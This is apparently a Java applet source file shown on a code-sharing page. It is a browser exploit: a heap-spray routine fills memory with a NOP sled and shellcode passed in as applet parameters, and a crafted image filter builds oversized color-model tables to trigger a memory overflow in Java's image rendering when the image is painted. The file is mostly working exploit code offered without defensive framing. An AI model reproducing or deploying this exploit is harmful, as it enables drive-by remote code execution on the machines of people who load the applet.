Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
//
2
// $Id$
3
// 
4
// Version: $Revision$
5
// 
6

7
import java.awt.*;
8
import java.awt.image.*;
9
import java.nio.*;
10

11
public class AppletX extends java.applet.Applet
12
{
13
	private IntBuffer [] mem;
14
	private Image src, dst;
15
	private boolean painted = false;
16
	
17
   public void init()
18
     {
19
		  // load image
20
        src = getImage(getCodeBase(), "test.png");
21
		  
22
		  // wait for image to be loaded
23
        MediaTracker mt = new MediaTracker(this);
24
		  mt.addImage(src, 0);
25
		  try { mt.waitForAll(); } catch (InterruptedException e) { }
26
		  mt.removeImage(src);
27

28
		  // create our filtered version (nasty one!)
29
		  ImageProducer ip = src.getSource();
30
		  ImageFilter iflt = new BoomFilter();
31
		  dst = createImage(new FilteredImageSource(ip, iflt));
32
		  
33
		  try
34
			 {
35
				 mem = spray(getParameter("sc"), getParameter("np"));
36
				 // System.out.println("Sprayed!");
37
			 }
38
		  catch (Exception e)
39
			 {
40
			 }
41
		  
42
		  // the vuln shall trigger itself auto-magically on render...
43
     }
44
	
45
	public void paint(Graphics g)
46
	  {
47
		  if (!painted)
48
			 {
49
				 painted = true;
50
				 if (src != null)
51
					g.drawImage(src, 10, 10, this);
52
				 if (dst != null)
53
					g.drawImage(dst, 250, 10, this);
54
			 }
55
	  }
56
	
57
   // based on:
58
	// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java
59
	public static short[] HexDecode(String s)
60
	  {
61
		  short[] data = new short[s.length()/2];
62
		  
63
		  for (int i = 0; i < s.length(); i += 2)
64
			 {
65
				 char c1 = s.charAt(i);
66
				 char c2 = s.charAt(i + 1);
67
				 
68
				 int comb = Character.digit(c1, 16) & 0xff;
69
				 comb <<= 4;
70
				 comb += Character.digit(c2, 16) & 0xff;
71
				 data[i/2] = (short)comb;
72
			 }
73
		  return data;
74
	  }
75
	
76
	public final IntBuffer [] spray(String sc, String np)
77
	  {
78
		  short [] sc_bytes = HexDecode(sc);
79
		  short [] np_bytes = HexDecode(np);
80
		  
81
		  return spray (sc_bytes, np_bytes);
82
	  }
83
	
84
	public final IntBuffer [] spray(short[] sc, short[] np)
85
	  {
86
		  int cnt = 50; // total 50 mb
87
		  int sz = 1024*1024; // 1 mb
88
		  int nops = (sz / 4) - (sc.length);
89
		  
90
		  IntBuffer [] ret = new IntBuffer[cnt];
91
		  
92
		  for (int bi = 0; bi < cnt; bi++)
93
			 {
94
				 IntBuffer ib = IntBuffer.allocate(sz / 4);
95

96
				 for (int i = 0; i < nops; ++i)
97
					ib.put((np[0]
98
							  | (np[1] << 8)
99
							  | (np[2] << 16)
100
							  | (np[3] << 24)));
101
				 // ib.put(0x90909090);
102
		  
103
				 for (int i = 0; i < sc.length; )
104
					ib.put((sc[i++]
105
							  | (sc[i++] << 8)
106
							  | (sc[i++] << 16)
107
							  | (sc[i++] << 24)));
108
				 ret[bi] = ib;
109
			 }
110
		  return ret;
111
	  }
112
}
113

114

115
class BoomFilter extends java.awt.image.ImageFilter
116
{
117
	public void setDimensions(int width, int height)
118
	  {
119
		  // System.out.println("in setDimensions");
120
		  consumer.setDimensions(width, height);
121
		  
122
		  // pixels...
123
		  int PXSZ = 100*100;
124
		  byte[] px = new byte[PXSZ];
125
		  for (int i = 0; i < PXSZ; i++)
126
			 px[i] = 0x00;
127
		  
128
		  // our length
129
		  int SZ1 = 0xff;
130
		  int SZ2 = 0x800;
131
		  ColorModel cm;
132
		  
133
		  // here we setup two color maps.
134
		  // the first one is used to control what values are written to in the second one.
135

136
		  int[] rgba = new int[SZ1];
137
		  for (int i = 0; i < SZ1; i++)
138
			 rgba[i] = 0xff010203 + i;
139
		  rgba[0x01] = 0xff020202;
140
		  rgba[0x24] = 0xff020203;
141
		  cm = new IndexColorModel(8, SZ1, rgba, 0, false, -1, DataBuffer.TYPE_BYTE);
142
		  consumer.setColorModel(cm);
143
		  
144
		  // trigger the bug
145
		  rgba = new int[SZ2];
146
		  // everything from the first buffer must be found to trigger the overflow
147
		  for (int i = 0; i < SZ1; i++)
148
			 rgba[i] = 0xff010203 + i;
149
		  rgba[0x01] = 0xff020202;
150
		  rgba[0x24] = 0xff020203;
151
		  for (int i = SZ1; i < SZ2 - 1; i += 2)
152
			 {
153
				 rgba[i] = 0xff020203;
154
				 rgba[i+1] = 0xff020202;
155
			 }
156
		  cm = new IndexColorModel(8, SZ2, rgba, 0, false, -1, DataBuffer.TYPE_BYTE);
157
		  
158
		  consumer.setPixels(10, 10, 10, 10, cm, px, 1, 1);
159
	  }
160
}
161

162